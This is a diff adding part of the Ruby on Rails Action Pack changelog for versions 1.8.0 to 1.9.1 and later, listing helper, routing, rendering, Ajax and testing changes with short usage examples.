+* Added assert_vaild. Reports the proper AR error messages as fail message when the passed record is invalid *Tobias Lütke*
+
+* Add temporary support for passing locals to render using string keys *Nicholas Seckar*
+
+* Clean up error pages by providing better backtraces *Nicholas Seckar*
+
+* Raise an exception if an attempt is made to insert more session data into the ActiveRecordStore data column than the column can hold. #2234. *justin@textdrive.com*
+
+* Removed references to assertions.rb from actionpack assert's backtraces. Makes error reports in functional unit tests much less noisy. *Tobias Lütke*
+
+* Updated and clarified documentation for JavaScriptHelper to be more concise about the various options for including the JavaScript libs. *Thomas Fuchs*
+
+* Hide "Retry with Breakpoint" button on error pages until feature is functional. *David Heinemeier Hansson*
+
+* Fix Request#host_with_port to use the standard port when Rails is behind a proxy. *Nicholas Seckar*
+
+* Escape query strings in the href attribute of URLs created by url_helper. #2333 *Michael Schuerig <michael@schuerig.de>*
+
+* Improved line number reporting for template errors *Nicholas Seckar*
+
+* Added :locals support for render :inline #2463 *mdabney@cavoksolutions.com*
+
+* Unset the X-Requested-With header when using the xhr wrapper in functional tests so that future requests aren't accidentally xhr'ed #2352 *me@julik.nl, Sam Stephenson*
+
+* Unescape paths before writing cache to file system. #1877. *Damien Pollet*
+
+* Wrap javascript_tag contents in a CDATA section and add a cdata_section method to TagHelper #1691 *Michael Schuerig, Sam Stephenson*
+
+* Misc doc fixes (typos/grammar/etc). #2445. *coffee2code*
+
+* Speed improvement for session_options. #2287. *Stefan Kaes*
+
+* Make cacheing binary files friendly with Windows. #1975. *Rich Olson*
+
+* Convert boolean form options form the tag_helper. #809. *Michael Schuerig <michael@schuerig.de>*
+
+* Fixed that an instance variable with the same name as a partial should be implicitly passed as the partial :object #2269 *court3nay*
+
+* Update Prototype to V1.4.0_pre11, script.aculo.us to [2502] *Thomas Fuchs*
+
+* Make assert_tag :children count appropriately. Closes #2181. *jamie@bravenet.com*
+
+* Forced newer versions of RedCloth to use hard breaks *David Heinemeier Hansson*
+
+* Added new scriptaculous options for auto_complete_field #2343 *Manfred Stienstra*
+
+* Don't prepend the asset host if the string is already a fully-qualified URL
+
+* Updated to script.aculo.us V1.5.0_rc2 and Prototype to V1.4.0_pre7 *Thomas Fuchs*
+
+* Undo condition change made in [2345] to prevent normal parameters arriving as StringIO.
+
+* Tolerate consecutive delimiters in query parameters. #2295 *darashi@gmail.com*
+
+* Streamline render process, code cleaning. Closes #2294. *skae*
+
+* Keep flash after components are rendered. #2291 *Rick Olson, Scott*
+
+* Shorten IE file upload path to filename only to match other browsers. #1507 *court3nay*
+
+* Fix open/save dialog in IE not opening files send with send_file/send_data, #2279 *Thomas Fuchs*
+
+* Fixed that auto_discovery_link_tag couldn't take a string as the URL *David Heinemeier Hansson*
+
+* Fixed problem with send_file and WEBrick using stdout #1812 *David Heinemeier Hansson*
+
+* Optimized tag_options to not sort keys, which is no longer necessary when assert_dom_equal and friend is available #1995 *skae*
+
+* Added assert_dom_equal and assert_dom_not_equal to compare tags generated by the helpers in an order-indifferent manner #1995 *skae*
+
+* Fixed that Request#domain caused an exception if the domain header wasn't set in the original http request #1795 *Michael Koziarski*
+
+* Make the truncate() helper multi-byte safe (assuming $KCODE has been set to something other than "NONE") #2103
+
+* Add routing tests from #1945 *ben@groovie.org*
+
+* Add a routing test case covering #2101 *Nicholas Seckar*
+
+* Cache relative_url_root for all webservers, not just Apache #2193 *skae*
+
+* Speed up cookie use by decreasing string copying #2194 *skae*
+
+* Fixed access to "Host" header with requests made by crappy old HTTP/1.0 clients #2124 *Marcel Molina Jr.*
+
+* Added easy assignment of fragment cache store through use of symbols for included stores (old way still works too)
+
+ Before:
+ ActionController::Base.fragment_cache_store =
+ ActionController::Base::Caching::Fragments::FileStore.new("/path/to/cache/directory")
+
+ After:
+ ActionController::Base.fragment_cache_store = :file_store, "/path/to/cache/directory"
+
+* Added ActionController::Base.session_store=, session_store, and session_options to make it easier to tweak the session options (instead of going straight to ActionController::CgiRequest::DEFAULT_SESSION_OPTIONS)
+
+* Added TextHelper#cycle to cycle over an array of values on each hit (useful for alternating row colors etc) #2154 *dave-ml@dribin.org*
+
+* Ensure that request.path never returns nil. Closes #1675 *Nicholas Seckar*
+
+* Add ability to specify Route Regexps for controllers. Closes #1917. *Sebastian Kanthak*
+
+* Provide Named Route's hash methods as helper methods. Closes #1744. *Nicholas Seckar, Steve Purcell*
+
+* Added :multipart option to ActiveRecordHelper#form to make it possible to add file input fields #2034 *jstirk@oobleyboo.com*
+
+* Moved auto-completion and in-place editing into the Macros module and their helper counterparts into JavaScriptMacrosHelper
+
+* Added in-place editing support in the spirit of auto complete with ActionController::Base.in_place_edit_for, JavascriptHelper#in_place_editor_field, and Javascript support from script.aculo.us #2038 *Jon Tirsen*
+
+* Added :disabled option to all data selects that'll make the elements inaccessible for change #2167, #253 *eigentone*
+
+* Fixed that TextHelper#auto_link_urls would include punctuation in the links #2166, #1671 *eigentone*
+
+* Fixed that number_to_currency(1000, {:precision => 0})) should return "$1,000", instead of "$1,000." #2122 *sd@notso.net*
+
+* Allow link_to_remote to use any DOM-element as the parent of the form elements to be submitted #2137 [erik@ruby-lang.nl]. Example:
+
+ <tr id="row023">
+ <td><input name="foo"/></td>
+ <td><input name="bar"/></td>
+ <td><%= link_to_remote 'Save', :update => "row023",
+ :submit => "row023", :url => {:action => 'save_row'} %></td>
+ </tr>
+
+* Fixed that render :partial would fail when :object was a Hash (due to backwards compatibility issues) #2148 *Sam Stephenson*
+
+* Fixed JavascriptHelper#auto_complete_for to only include unique items #2153 *Thomas Fuchs*
+
+* Fixed all AssetHelper methods to work with relative paths, such that javascript_include_tag('stdlib/standard') will look in /javascripts/stdlib/standard instead of '/stdlib/standard/' #1963
+
+* Avoid extending view instance with helper modules each request. Closes #1979
+
+* Performance improvements to CGI methods. Closes #1980 *Stefan Kaes*
+
+* Added :post option to UrlHelper#link_to that makes it possible to do POST requests through normal ahref links using Javascript
+
+* Fixed overwrite_params
+
+* Added ActionController::Base.benchmark and ActionController::Base.silence to allow for easy benchmarking and turning off the log
+
+* Updated vendor copy of html-scanner to support better xml parsing
+
+* Added :popup option to UrlHelper#link_to #1996 [gabriel.gironda@gmail.com]. Examples:
+
+ link_to "Help", { :action => "help" }, :popup => true
+ link_to "Busy loop", { :action => "busy" }, :popup => ['new_window', 'height=300,width=600']
+
+* Drop trailing \000 if present on RAW_POST_DATA (works around bug in Safari Ajax implementation) #918
+
+* Fix observe_field to fall back to event-based observation if frequency <= 0 #1916 *Michael Schubert*
+
+* Allow use of the :with option for submit_to_remote #1936 *jon@instance-design.co.uk*
+
+* AbstractRequest#domain returns nil when host is an ip address #2012 *Kevin Clark*
+
+* ActionController documentation update #2051 *François Beausoleil*
+
+* Yield @content_for_ variables to templates #2058 *Sam Stephenson*
+
+* Make rendering an empty partial collection behave like :nothing => true #2080 *Sam Stephenson*
+
+* Add option to specify the singular name used by pagination.
+
+* Use string key to obtain action value. Allows indifferent hashes to be disabled.
+
+* Added ActionView::Base.cache_template_loading back.
+
+* Rewrote compiled templates to decrease code complexity. Removed template load caching in favour of compiled caching. Fixed template error messages. *Nicholas Seckar*
+
+* Fix Routing to handle :some_param => nil better. *Nicholas Seckar, Luminas*
+
+* Add support for :include with pagination (subject to existing constraints for :include with :limit and :offset) #1478 *Michael Schubert*
+
+* Prevent the benchmark module from blowing up if a non-HTTP/1.1 request is processed
+
+* Added :use_short_month option to select_month helper to show month names as abbreviations
+
+* Make link_to escape the javascript in the confirm option #1964 *nicolas.pouillard@gmail.com*
+
+* Make assert_redirected_to properly check URL's passed as strings #1910 *Scott Barron*
+
+* Make sure :layout => false is always used when rendering inside a layout
+
+* Use raise instead of assert_not_nil in Test::Unit::TestCase#process to ensure that the test variables (controller, request, response) have been set
+
+* Make sure assigns are built for every request when testing #1866
+
+* Allow remote_addr to be queried on TestRequest #1668
+
+* Fixed bug when a partial render was passing a local with the same name as the partial
+
+* Improved performance of test app req/sec with ~10% refactoring the render method #1823 *Stefan Kaes*
+
+* Improved performance of test app req/sec with 5-30% through a series of Action Pack optimizations #1811 *Stefan Kaes*
+
+* Changed caching/expiration/hit to report using the DEBUG log level and errors to use the ERROR log level instead of both using INFO
+
+* Added support for per-action session management #1763
+
+* Improved rendering speed on complicated templates by up to 100% (the more complex the templates, the higher the speedup) #1234 [Stefan Kaes]. This did necessasitate a change to the internals of ActionView#render_template that now has four parameters. Developers of custom view handlers (like Amrita) need to update for that.
+
+* Added options hash as third argument to FormHelper#input, so you can do input('person', 'zip', :size=>10) #1719 *jeremye@bsa.ca.gov*
+
+* Added Base#expires_in(seconds)/Base#expires_now to control HTTP content cache headers #1755 *Thomas Fuchs*
+
+* Fixed line number reporting for Builder template errors #1753 *piotr*
+
+* Fixed assert_routing so that testing controllers in modules works as expected *Nicholas Seckar, Rick Olson*
+
+* Fixed bug with :success/:failure callbacks for the JavaScriptHelper methods #1730 *court3nay/Thomas Fuchs*
+
+* Added named_route method to RouteSet instances so that RouteSet instance methods do not prevent certain names from being used. *Nicholas Seckar*
+
+* Fixed routes so that routes which do not specify :action in the path or in the requirements have a default of :action => 'index', In addition, fixed url generation so that :action => 'index' does not need to be provided for such urls. *Nicholas Seckar, Markjuh*
+
+* Worked around a Safari bug where it wouldn't pass headers through if the response was zero length by having render :nothing return ' ' instead of ''
+
+* Fixed Request#subdomains to handle "foo.foo.com" correctly
+
+
+## 1.9.1 (11 July, 2005) ##
+
+* Fixed that auto_complete_for didn't force the input string to lower case even as the db comparison was
+
+* Fixed that Action View should always use the included Builder, never attempt to require the gem, to ensure compatibility
+
+* Added that nil options are not included in tags, so tag("p", :ignore => nil) now returns <p /> not <p ignore="" /> but that tag("p", :ignore => "") still includes it #1465 *Michael Schuerig*
+
+* Fixed that UrlHelper#link_to_unless/link_to_if used html_escape on the name if no link was to be applied. This is unnecessary and breaks its use with images #1649 *joergd@pobox.com*
+
+* Improved error message for DoubleRenderError
+
+* Fixed routing to allow for testing of *path components #1650 *Nicholas Seckar*
+
+* Added :handle as an option to sortable_element to restrict the drag handle to a given class #1642 *thejohnny*
+
+* Added a bunch of script.aculo.us features #1644, #1677, #1695 *Thomas Fuchs*
+ * Effect.ScrollTo, to smoothly scroll the page to an element
+ * Better Firefox flickering handling on SlideUp/SlideDown
+ * Removed a possible memory leak in IE with draggables
+ * Added support for cancelling dragging my hitting ESC
+ * Added capability to remove draggables/droppables and redeclare sortables in dragdrop.js (this makes it possible to call sortable_element on the same element more than once, e.g. in AJAX returns that modify the sortable element. all current sortable 'stuff' on the element will be discarded and the sortable will be rebuilt)
+ * Always reset background color on Effect.Highlight; this make change backwards-compatibility, to be sure include style="background-color:(target-color)" on your elements or else elements will fall back to their CSS rules (which is a good thing in most circumstances)
+ * Removed circular references from element to prevent memory leaks (still not completely gone in IE)
+ * Changes to class extension in effects.js
+ * Make Effect.Highlight restore any previously set background color when finishing (makes effect work with CSS classes that set a background color)
+ * Fixed myriads of memory leaks in IE and Gecko-based browsers *David Zülke*
+ * Added incremental and local autocompleting and loads of documentation to controls.js *Ivan Krstic*
+ * Extended the auto_complete_field helper to accept tokens option
+ * Changed object extension mechanism to favor Object.extend to make script.aculo.us easily adaptable to support 3rd party libs like IE7.js *David Zülke*
+
+* Fixed that named routes didn't use the default values for action and possible other parameters #1534 *Nicholas Seckar*
+
+* Fixed JavascriptHelper#visual_effect to use camelize such that :blind_up will work #1639 *pelletierm@eastmedia.net*
+
+* Fixed that a SessionRestoreError was thrown if a model object was placed in the session that wasn't available to all controllers. This means that it's no longer necessary to use the 'model :post' work-around in ApplicationController to have a Post model in your session.
+
+
+## 1.9.0 (6 July, 2005) ##
+
+* Added logging of the request URI in the benchmark statement (makes it easy to grep for slow actions)
+
+* Added javascript_include_tag :defaults shortcut that'll include all the default javascripts included with Action Pack (prototype, effects, controls, dragdrop)
+
+* Cache several controller variables that are expensive to calculate #1229 *Stefan Kaes*
+
+* The session class backing CGI::Session::ActiveRecordStore may be replaced with any class that duck-types with a subset of Active Record. See docs for details #1238 *Stefan Kaes*
+
+* Fixed that hashes was not working properly when passed by GET to lighttpd #849 *Nicholas Seckar*
+
+* Fixed assert_template nil will be true when no template was rendered #1565 *maceywj@telus.net*
+
+* Added :prompt option to FormOptions#select (and the users of it, like FormOptions#select_country etc) to create "Please select" style descriptors #1181 *Michael Schuerig*
+
+* Added JavascriptHelper#update_element_function, which returns a Javascript function (or expression) that'll update a DOM element according to the options passed #933 [mortonda@dgrmm.net]. Examples:
+
+ <%= update_element_function("products", :action => :insert, :position => :bottom, :content => "<p>New product!</p>") %>
+
+ <% update_element_function("products", :action => :replace, :binding => binding) do %>
+ <p>Product 1</p>
+ <p>Product 2</p>
+ <% end %>
+
+* Added :field_name option to DateHelper#select_(year|month|day) to deviate from the year/month/day defaults #1266 *Marcel Molina Jr.*
+
+* Added JavascriptHelper#draggable_element and JavascriptHelper#drop_receiving_element to facilitate easy dragging and dropping through the script.aculo.us libraries #1578 *Thomas Fuchs*
+
+* Added that UrlHelper#mail_to will now also encode the default link title #749 *f.svehla@gmail.com*
+
+* Removed the default option of wrap=virtual on FormHelper#text_area to ensure XHTML compatibility #1300 *thomas@columbus.rr.com*
+
+* Adds the ability to include XML CDATA tags using Builder #1563 [Josh Knowles]. Example:
+
+ xml.cdata! "some text" # => <![CDATA[some text]]>
+
+* Added evaluation of SCRIPT blocks in content returned to Ajax calls #1577 *Thomas Fuchs/court3nay/Sean Treadway*
+
+* Directly generate paths with a leading slash instead of tacking it on later. #1543 *Nicholas Seckar*
+
+* Fixed errant parameter modification in functional tests. #1542 *Nicholas Seckar*
+
+* Routes fail with leading slash #1540 *Nicholas Seckar*
+
+* Added support for graceful error handling of Ajax calls #1217 [Jamis Buck/Thomas Fuchs]. Example:
+
+ link_to_remote(
+ "test",
+ :url => { :action => "faulty" },
+ :update => { :success => "good", :failure => "bad" },
+ 403 => "alert('Forbidden- got ya!')",
+ 404 => "alert('Nothing there...?')",
+ :failure => "alert('Unkown error ' + request.status)")
+
+* Attempt to explicitly flush the output at the end of CgiProcess#out
+
+* Fixed assert_redirected_to to handle absolute controller paths properly #1472 *Rick Olson/Nicholas Seckar*
+
+* Added event-based observations when frequency is not set on observe_field/form #1474 *flash@vanklinkenbergsoftware.nl*
+
+* Added script.aculo.us Javascripts (controls.js, dragdrop.js, effects.js) (NEEDS MORE DESCRIPTION) #1509 *Thomas Fuchs*
+
+* Fixed prototype to consider all fields it doesn't know as text (such as Safari's search) just like the browser in its serialization #1497 *Sean Treadway*
+
+* Improved performance of Routes generation by a factor of 5 #1434 *Nicholas Seckar*
+
+* Added named routes (NEEDS BETTER DESCRIPTION) #1434 *Nicholas Seckar*
+
+* Improved AbstractRequest documentation #1483 *court3nay*
+
+* Added ActionController::Base.allow_concurrency to control whether the application is thread-safe, so multi-threaded servers like WEBrick knows whether to apply a mutex around the performance of each action. Turned off by default. EXPERIMENTAL FEATURE.
+
+* Added TextHelper#word_wrap(text, line_length = 80) #1449 *tuxie@dekadance.se*
+
+* Added a fall-through action for form_remote_tag that'll be used in case Javascript is unavailable #1459 [Scott Barron]. Example:
+
+ form_remote_tag :html => { :action => url_for(:controller => "some", :action => "place") }
+
+* Added :xhr => true/false option to verify so you can ensure that a request is coming from an Ajax call or not #1464 *Thomas Fuchs*
+
+* Added tag_options as a third parameter to AssetHelper#auto_discovery_link_tag to control options like the title of the link #1430 *Kevin Clark*
+
+* Added option to pass in parameters to CaptureHelper#capture, so you can create more advanced view helper methods #1466 [duane.johnson@gmail.com]. Example:
+
+ <% show_calendar(:year => 2005, :month => 6) do |day, options| %>
+ <% options[:bgcolor] = '#dfd' if 10..15.include? day %>
+ [<%= day %>]
+ <% end %>
+
+* Changed the default name of the input tag generated by FormTagHelper#submit_tag from "submit" to "commit" so it doesn't clash with form.submit() calls in Javascript #1271
+
+* Fixed relative urls support for lighttpd #1048 *Nicholas Seckar/maznawak@nerim.net*
+
+* Correct distance_of_time_in_words for integer arguments and make the second arg optional, treating the first arg as a duration in seconds. #1458 *madrobby <thomas@fesch.at>*
+
+* Fixed query parser to deal gracefully with equal signs inside keys and values #1345 [gorou].
+ Example: /?sig=abcdef=:foobar=&x=y will pass now.
+
+* Added Cuba to country list #1351 *todd*
+
+* Fixed radio_button to work with numeric values #1352 *demetrius*
+
+* Added :extension option to NumberHelper#number_to_phone #1361 *delynnb*
+
+* Added button_to as a form-based solution to deal with harmful actions that should be hidden behind POSTs. This makes it just as easy as link_to to create a safe trigger for actions like destroy, although it's limited by being a block element, the fixed look, and a no-no inside other forms. #1371 *tom@moertel.com*
+
+* Fixed image_tag so an exception is not thrown just because the image is missing and alt value can't be generated #1395 *Marcel Molina Jr.*
+
+* Added a third parameter to TextHelper#auto_link called href_options for specifying additional tag options on the links generated #1401 [tyler.kovacs@gmail.com]. Example: auto_link(text, :all, { :target => "_blank" }) to have all the generated links open in a new window.
+
+* Fixed TextHelper#highlight to return the text, not nil, if the phrase is blank #1409 *Patrick Lenz*
+
+* Fixed TagHelper such that :name and 'name' keys in the options doesn't result in two attributes #1455 *take_tk*
+
+* Ensure that helpers are only available to the controllers where they are defined and their subclasses. #1394 *kdole@tamu.edu*
+
+* render("foo/bar") works with a layout again
+
+* Fixed double-singularization on scaffolded pagination call (Address would be turned into Addres) #1216, #1404 *nilsga*
+
+* Removed the require hack used by functional testing to work around an earlier bug in rake.
+
+* Allow distance_of_time_in_words to work with any value that responds to #to_time (like dates) #969
+
+* Support :render option for :verify #1440 *Tobias Lütke*
+
+* Updated vendor copy of html-scanner lib to 0.5.2, for bug fixes and optimizations. The :content option may be used as expected--to find a tag whose textual content is a particular value--in assert_tag, now.
+
+* Changed test requests to come from 0.0.0.0 instead of 127.0.0.1 such that they don't trigger debugging screens on exceptions, but instead call rescue_action_in_public
+
+* Modernize scaffolding to match the generator: use the new render method and change style from the warty @params["id"] to the sleek params[:id]. #1367
+
+* Include :id in the action generated by the form helper method. Then, for example, the controller can do Model.find(params[:id]) for both edit and update actions. Updated scaffolding to take advantage. #1367
+
+* Add assertions with friendly messages to TestCase#process to ensure that @controller, @request, and @response are set. #1367
+
+* Arrays, hashes sent via multipart posts are converted to strings #1032 *dj@omelia.org, me@julik.nl*
+
+* render(:layout => true) is a synonym for render(:layout => nil)
+
+* Make sure the benchmarking render method always returns the output of the render.
+
+* render(:action), render(:template) and render() are the only three calls that default to using a layout. All other render calls assume :layout => false. This also fixes send_file, which was applying a layout if one existed for the current action.
+
+* verify with :redirect_to won't redirect if a redirect or render has already been performed #1350
+
+* render(:partial => true) is identical to the behavior of the deprecated render_partial()
+
+* Fixed render(:partial => "...") to use an empty Hash for the local assigns #1365
+
+* Fixed Caching::Fragments::FileStore.delete to not raise an exception if the delete fails.
+
+* Deprecated all render_* methods in favor of consolidating all rendering behavior in Base#render(options). This enables more natural use of combining options, such as layouts. Examples:
+
+ +---------------------------------------------------------------+-------------------------------------------------------+
+ | BEFORE | AFTER |
+ +---------------------------------------------------------------+-------------------------------------------------------+
+ | render_with_layout "weblog/show", "200 OK", "layouts/dialog" | render :action => "show", :layout => "dialog" |
+ | render_without_layout "weblog/show" | render :action => "show", :layout => false |
+ | render_action "error", "404 Not Found" | render :action => "error", :status => "404 Not Found" |
+ | render_template "xml.div('stuff')", "200 OK", :rxml | render :inline => "xml.div('stuff')", :type => :rxml |
+ | render_text "hello world!" | render :text => "hello world!" |
+ | render_partial_collection "person", @people, nil, :a => 1 | render :partial => "person", :collection => @people, |
+ | | :locals => { :a => 1 } |
+ +---------------------------------------------------------------+-------------------------------------------------------+
+
+* Deprecated redirect_to_path and redirect_to_url in favor of letting redirect_to do the right thing when passed either a path or url.
+
+* Fixed use of an integer as return code for renders, so render_text "hello world", 404 now works #1327
+
+* Fixed assert_redirect_to to work with redirect_to_path #869 *Nicholas Seckar*
+
+* Fixed escaping of :method option in remote_form_tag #1218 *Rick Olson*
+
+* Added Serbia and Montenegro to the country_select #1239 *todd@robotcoop.com*
+
+* Fixed Request#remote_ip in testing #1251 *Jeremy Kemper*
+
+* Fixed that compute_public_path should recognize external URLs, so image_tag("http://www.example.com/images/icon.gif") is not prefixed with the relative url path #1254 *victor-ronr-trac@carotena.net*
+
+* Added support for descending year values in DateHelper#select_year, like select_year(Date.today, :start_year => 2005, :end_year => 1900), which would count down from 2005 to 1900 instead of the other way #1274 *nwoods@mail.com*
+
+* Fixed that FormHelper#checkbox should return a checked checkbox if the value is the same as checked_value #1286 *Florian Weber*
+
+* Fixed Form.disable in Prototype #1317 *Wintermute*
+
+* Added accessors to logger, params, response, session, flash, and headers from the view, so you can write <% logger.info "stuff" %> instead of <% @logger.info "others" %> -- more consistent with the preferred way of accessing these attributes and collections from the controller
+
+* Added support for POST data in form of YAML or XML, which is controller through the Content-Type header. Example request:
+
+ Content-Type: application/xml
+ <request><item><content>HelloWorld</content></item></request>
+
+ ...is the same as:
+
+ Content-Type: application/x-yaml
+ ---
+ item:
+ content: HelloWorld
+
+ ...is the same as:
+
+ item[content]=HelloWorld
+
+ Which in the end turns into { "item" => { "content" => "HelloWorld" } }. This makes it a lot easier to publish REST web services on top of your regular actions (as they won't care).
+
+ Example Curl call:
+
+ curl -H 'Content-Type: application/xml' -d '<request><item><content>KillMeMore</content></item></request>' http://www.example.com/service
+
+ You can query to find out whether a given request came through as one of these types with:
+ - request.post_format? (:url_encoded, :xml or :yaml)
+ - request.formatted_post? (for either xml or yaml)
+ - request.xml_post?
+ - request.yaml_post?
+
+* Added bundling of XmlSimple by Maik Schmidt
+
+* Fixed that render_partial_collection should always return a string (and not sometimes an array, despite <%= %> not caring)
+
+* Added TextHelper#sanitize that can will remove any Javascript handlers, blocks, and forms from an input of HTML. This allows for use of HTML on public sites, but still be free of XSS issues. #1277 *Jamis Buck*
+
+* Fixed the HTML scanner used by assert_tag where a infinite loop could be caused by a stray less-than sign in the input #1270 *Jamis Buck*
+
+* Added functionality to assert_tag, so you can now do tests on the siblings of a node, to assert that some element comes before or after the element in question, or just to assert that some element exists as a sibling #1226 *Jamis Buck*
+
+* Added better error handling for regexp caching expiration
+
+* Fixed handling of requests coming from unknown HTTP methods not to kill the server
+
+* Added that both AssetHelper#stylesheet_link_tag and AssetHelper#javascript_include_tag now accept an option hash as the last parameter, so you can do stuff like: stylesheet_link_tag "style", :media => "all"
+
+* Added FormTagHelper#image_submit_tag for making submit buttons that uses images
+
+* Added ActionController::Base.asset_host that will then be used by all the asset helpers. This enables you to easily offload static content like javascripts and images to a separate server tuned just for that.
+
+* Fixed action/fragment caching using the filestore when a directory and a file wanted to use the same name. Now there's a .cache prefix that sidesteps the conflict #1188 *imbcmdth@hotmail.com*
+
+* Fixed missing id uniqueness in FormTag#radio_button #1207 *Jarkko Laine*
+
+* Fixed assert_redirected_to to work with :only_path => false #1204 *Alisdair McDiarmid*
+
+* Fixed render_partial_collection to output an empty string instead of nil when handed an empty array #1202 *Ryan Carver*
+
+* Improved the speed of regular expression expirations for caching by a factor of 10 #1221 *Jamis Buck*
+
+* Removed dumping of template assigns on the rescue page as it would very easily include a ton of data making page loads take seconds (and the information was rarely helpful) #1222
+
+* Added BenchmarkHelper that can measure the execution time of a block in a template and reports the result to the log. Example:
+
+ <% benchmark "Notes section" do %>
+ <%= expensive_notes_operation %>
+ <% end %>
+
+ Will add something like "Notes section (0.345234)" to the log.
+
+* Added ActionController::Caching::Sweeper as an improved an easier to use sweeper. The new sweepers work on a single-step approach instead of two-steps like the old ones. Before
+
+ def after_save(record)
+ @list = record.is_a?(List) ? record : record.list
+ end
+
+ def filter(controller)
+ controller.expire_page(:controller => "lists", :action => %w( show public feed ), :id => @list.id)
+ controller.expire_action(:controller => "lists", :action => "all")
+ @list.shares.each { |share| controller.expire_page(:controller => "lists", :action => "show", :id => share.url_key) }
+ end
+
+ ..after:
+
+ def after_save(record)
+ list = record.is_a?(List) ? record : record.list
+ expire_page(:controller => "lists", :action => %w( show public feed ), :id => list.id)
+ expire_action(:controller => "lists", :action => "all")
+ list.shares.each { |share| expire_page(:controller => "lists", :action => "show", :id => share.url_key) }
+ end
+
+ The new sweepers can also observe on the actions themselves by implementing methods according to (before|after)_$controller_$action. Example of a callback that'll be called after PagesController#update_title has been performed:
+
+ def after_pages_update_title
+ expire_fragment(%r{pages/#{controller.assigns["page"].id}/.*})
+ end
+
+ Note that missing_method is delegated to the controller instance, which is assigned in a before filter. This means that you can call expire_fragment instead of @controller.expire_fragment.
+
+* Added that Fragments#expire_fragment now accepts as a regular expression as the name thereby deprecating expire_matched_fragments
+
+* Fixed that fragments shouldn't use the current host and the path as part of the key like pages does
+
+* Added conditions to around_filters just like before_filter and after_filter
+
+
+## 1.8.1 (20th April, 2005) ##
+
+* Added xml_http_request/xhr method for simulating XMLHttpRequest in functional tests #1151 [Sam Stephenson]. Example:
+
+ xhr :post, :index
+
+* Fixed that Ajax.Base.options.asynchronous wasn't being respected in Ajax.Request (thanks Jon Casey)
+
+* Fixed that :get, :post, and the others should take a flash array as the third argument just like process #1144 *rails@cogentdude.com*
+
+* Fixed a problem with Flash.now
+
+* Fixed stringification on all assigned hashes. The sacrifice is that assigns[:person] won't work in testing. Instead assigns["person"] or assigns(:person) must be used. In other words, the keys of assigns stay strings but we've added a method-based accessor to appease the need for symbols.
+
+* Fixed that rendering a template would require a connection to the database #1146
+
+
+## 1.8.0 (19th April, 2005) ##
+
+* Added assert_tag and assert_no_tag as a much improved alternative to the deprecated assert_template_xpath_match #1126 *Jamis Buck*
+
+* Deprecated the majority of all the testing assertions and replaced them with a much smaller core and access to all the collections the old assertions relied on. That way the regular test/unit assertions can be used against these. Added documentation about how to use it all.
+
+* Added a wide range of new Javascript effects:
+ * Effect.Puff zooms the element out and makes it smoothly transparent at the same time, giving a "puff" illusion #996 [thomas@fesch.at]
+ After the animation is completed, the display property will be set to none.
+ This effect will work on relative and absolute positioned elements.
+
+ * Effect.Appear as the opposite of Effect.Fade #990 [thomas@fesch.at]
+ You should return elements with style="display:none;" or a like class for this to work best and have no chance of flicker.
+
+ * Effect.Squish for scaling down an element and making it disappear at the end #972 [thomas@fesch.at]
+
+ * Effect.Scale for smoothly scaling images or text up and down #972 [thomas@fesch.at]
+
+ * Effect.Fade which smoothly turns opacity from 100 to 0 and then hides the element #960 [thomas@fesch.at]
+
+* Added Request#xml_http_request? (and an alias xhr?) to that'll return true when the request came from one of the Javascript helper methods (Ajax). This can be used to give one behavior for modern browsers supporting Ajax, another to old browsers #1127 *Sam Stephenson*
+
+* Changed render_partial to take local assigns as the second parameter instead of an explicit object and then the assigns. So the API changes from:
+
+ <%= render_partial "account", person, "rules" => regulations.rules %>
+
+ ...to:
+
+ <%= render_partial "account", :account => person, :rules => regulations.rules %>
+
+ The old API will still work, though, and render_partial "account" will still assume :account => @account.
+
+* Added support for web servers that use PATH_INFO instead of REQUEST_URI like IIS #1014 *BradG/Nicholas Seckar*
+
+* Added graceful handling of PUT, DELETE, and OPTIONS requests for a complete coverage of REST functionality #1136 *Josh Knowles*
+
+* Fixed that you can now pass an alternative :href option to link_to_function/remote in order to point to somewhere other than # if the javascript fails or is turned off. You can do the same with form_remote_tag by passing in :action. #1113 *Sam Stephenson*
+
+* Fixed DateHelper to return values on the option tags such that they'll work properly in IE with form_remote_tag #1024 *Scott Raymond*
+
+* Fixed FormTagHelper#check_box to respect checked #1049 *DelynnB*
+
+* Added that render_partial called from a controller will use the action name as default #828 *Dan Peterson*
+
+* Added Element.toggle, Element.show, and Element.hide to the prototype javascript library. Toggle.display has been deprecated, but will still work #992 *Lucas Carlson*
+
+* Added that deleting a cookie should not just set it to an empty string but also instantly expire it #1118 *todd@robotcoop.com*
+
+* Added AssetTagHelper#image_path, AssetTagHelper#javascript_path, and AssetTagHelper#stylesheet_path #1110 *Larry Halff*
+
+* Fixed url_for(nil) in functional tests #1116 *Alisdair McDiarmid*
+
+* Fixed error handling of broken layouts #1115 *Michael Schubert*
+
+* Added submit_to_remote that allows you to trigger an Ajax form submition at the click of the submission button, which allows for multiple targets in a single form through the use of multiple submit buttons #930 *yrashk@gmail.com*
+
+* Fixed pagination to work with joins #1034 *scott@sigkill.org*
+
+* Fixed that *rest parameter in map.connect couldn't accept an empty list #1037 *Dee Zsombor*
+
+* Added :confirm option to link_to_remote just like link_to has #1082 *yrashk@fp.org.ua*
+
+* Added minute_step as an option to select_minute (and the helpers that use it) to jump in larger increments than just 1 minute. At 15, it would return 0, 15, 30, 45 options #1085 *ordwaye@evergreen.edu*
+
+* Fixed that an exception would be thrown when an empty form was submitted #1090 *jan@ulbrich-boerwang.de*
+
+* Moved TextHelper#human_size to NumberHelper#number_to_human_size, but kept an deprecated alias to the old method name
+
+* Fixed that the content-type for some browsers could include an additional \r which made wonky things happen #1067 *Thomas Fuchs*
+
+* Fixed that radio buttons shouldn't have a default size attribute #1074 *hendrik@mans.de*
+
+* Added ActionView::Helpers::InstanceTag::DEFAULT_RADIO_OPTIONS that contains a hash of default options for radio buttons #1074 *hendrik@mans.de*
+
+* Fixed that in some circumstances controllers outside of modules may have hidden ones inside modules. For example, admin/content might have been hidden by /content. #1075 *Nicholas Seckar*
+
+* Added JavascriptHelper#periodically_call_remote in order to create areas of a page that update automatically at a set interval #945 *Jon Tirsen*
+
+* Fixed Cache#expire_matched_fragments that couldn't recognize the difference between string and url_for options #1030 *Stefan Kaes*
+
+* Added simulation of @request.request_uri in functional tests #1038 *Jamis Buck*
+
+* Fixed autolinking to work better in more cases #1013 *Jamis Buck*
+
+* Added the possible of using symbols in form helpers that relate to instance variables like text_field :account, :name in addition to text_field "account", "name"'
+
+* Fixed javascript_include_tag to output type instead of language and conform to XHTML #1018 *Rick Olson*
+
+* Added NumberHelper for common string representations like phone number, currency, and percentage #1015 *DeLynn*
+
